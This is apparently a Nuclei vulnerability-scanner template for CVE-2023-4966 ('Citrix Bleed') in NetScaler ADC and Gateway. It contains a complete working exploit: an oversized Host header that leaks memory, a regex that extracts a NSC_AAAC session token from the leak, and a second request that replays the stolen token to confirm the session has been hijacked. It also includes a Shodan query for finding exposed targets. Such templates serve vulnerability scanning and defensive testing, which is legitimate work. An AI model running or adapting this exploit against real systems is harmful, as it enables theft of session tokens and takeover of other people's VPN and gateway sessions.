81 lines
2.5 KiB
YAML
81 lines
2.5 KiB
YAML
id: CVE-2023-4966
|
|
|
|
info:
|
|
name: Citrix Bleed - Leaking Session Tokens
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
|
|
reference:
|
|
- https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
|
|
- https://github.com/Chocapikk/CVE-2023-4966
|
|
- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
|
|
- https://x.com/assetnote/status/1716757539323564196?s=20
|
|
- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2023-4966
|
|
cwe-id: CWE-119
|
|
epss-score: 0.00751
|
|
epss-percentile: 0.78895
|
|
cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
metadata:
|
|
verified: "true"
|
|
max-request: 2
|
|
vendor: citrix
|
|
product: netscaler_application_delivery_controller
|
|
shodan-query: title:"Citrix Gateway" || title:"Netscaler Gateway"
|
|
tags: cve,2023,citrix,adc,info-leak,kev
|
|
variables:
|
|
payload: '{{repeat("a", 24812)}}'
|
|
str: "{{to_lower(rand_text_alpha(4))}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
|
|
{{str}}: {{Hostname}}
|
|
Host: {{payload}}
|
|
|
|
- |+
|
|
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: NSC_AAAC={{session}}
|
|
User-Agent: python-requests/2.25.1
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept: */*
|
|
Connection: close
|
|
Content-Length: 0
|
|
|
|
|
|
unsafe: true
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: session
|
|
part: body_1
|
|
group: 1
|
|
regex:
|
|
- \b([a-f0-9]{65})\b
|
|
internal: true
|
|
|
|
- type: regex
|
|
part: body_2
|
|
regex:
|
|
- '([a-z0-9]+)'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- 'NSC_AAAC='
|
|
- '{"issuer":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header_2
|
|
words:
|
|
- "text/plain"
|
|
# digest: 490a0046304402206b88010a2d1a02c365cb12401504a9e62de490af30959e21e931045c7ad5161e02205a192bf94b1e1f93868c28bc865ed1acd5603b0a391b72229292f462888ac36a:922c64590222798bb761d5b6d8e72950 |